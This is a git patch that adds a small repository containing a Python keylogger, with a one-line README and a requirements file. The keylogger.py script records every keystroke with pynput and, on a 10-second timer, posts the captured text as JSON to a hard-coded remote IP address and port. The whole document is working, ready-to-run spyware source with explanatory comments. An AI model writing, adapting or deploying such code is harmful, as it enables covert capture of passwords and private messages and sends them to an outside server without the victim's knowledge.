From 70a06a6dedef592ed2284e645a62fed914f2a4b8 Mon Sep 17 00:00:00 2001 From: David Bombal Date: Tue, 2 Aug 2022 14:12:49 +0200 Subject: [PATCH] Add files via upload --- README.md | 1 + keylogger.py | 68 ++++++++++++++++++++++++++++++++++++++++++++++++ requirements.txt | 7 +++++ 3 files changed, 76 insertions(+) create mode 100644 README.md create mode 100644 keylogger.py create mode 100644 requirements.txt diff --git a/README.md b/README.md new file mode 100644 index 0000000..a6bcee7 --- /dev/null +++ b/README.md @@ -0,0 +1 @@ +# Simple Python Keylogger with Pynput. Sending data to a server. diff --git a/keylogger.py b/keylogger.py new file mode 100644 index 0000000..7322520 --- /dev/null +++ b/keylogger.py @@ -0,0 +1,68 @@ +# Install pynput using the following command: pip install pynput +# Import the mouse and keynboard from pynput +from pynput import mouse, keyboard +# We need to import the requests library to Post the data to the server. +import requests +# To transform a Dictionary to a JSON string we need the json package. +import json +# The Timer module is part of the threading package. +import threading + +# We make a global variable text where we'll save a string of the keystrokes which we'll send to the server. +text = "" + +# Hard code the values of your server and ip address here. +ip_address = "109.74.200.23" +port_number = "8080" +# Time interval in seconds for code to execute. +time_interval = 10 + +def send_post_req(): + try: + # We need to convert the Python object into a JSON string. So that we can POST it to the server. Which will look for JSON using + # the format {"keyboardData" : ""} + payload = json.dumps({"keyboardData" : text}) + # We send the POST Request to the server with ip address which listens on the port as specified in the Express server code. + # Because we're sending JSON to the server, we specify that the MIME Type for JSON is application/json. + r = requests.post(f"http://{ip_address}:{port_number}", data=payload, headers={"Content-Type" : "application/json"}) + # Setting up a timer function to run every specified seconds. send_post_req is a recursive function, and will call itself as long as the program is running. + timer = threading.Timer(time_interval, send_post_req) + # We start the timer thread. + timer.start() + except: + print("Couldn't complete request!") + +# We only need to log the key once it is released. That way it takes the modifier keys into consideration. +def on_press(key): + global text + +# Based on the key press we handle the way the key gets logged to the in memory string. +# Read more on the different keys that can be logged here: +# https://pynput.readthedocs.io/en/latest/keyboard.html#monitoring-the-keyboard + if key == keyboard.Key.enter: + text += "\n" + elif key == keyboard.Key.tab: + text += "\t" + elif key == keyboard.Key.space: + text += " " + elif key == keyboard.Key.shift: + pass + elif key == keyboard.Key.backspace and len(text) == 0: + pass + elif key == keyboard.Key.backspace and len(text) > 0: + text = text[:-1] + elif key == keyboard.Key.ctrl_l or key == keyboard.Key.ctrl_r: + pass + elif key == keyboard.Key.esc: + return False + else: + # We do an explicit conversion from the key object to a string and then append that to the string held in memory. + text += str(key).strip("'") + +# A keyboard listener is a threading.Thread, and a callback on_press will be invoked from this thread. +# In the on_press function we specified how to deal with the different inputs received by the listener. +with keyboard.Listener( + on_press=on_press) as listener: + # We start of by sending the post request to our server. + send_post_req() + listener.join() \ No newline at end of file diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..f2d28cc --- /dev/null +++ b/requirements.txt @@ -0,0 +1,7 @@ +certifi==2022.6.15 +charset-normalizer==2.1.0 +idna==3.3 +pynput==1.7.6 +requests==2.28.1 +six==1.16.0 +urllib3==1.26.11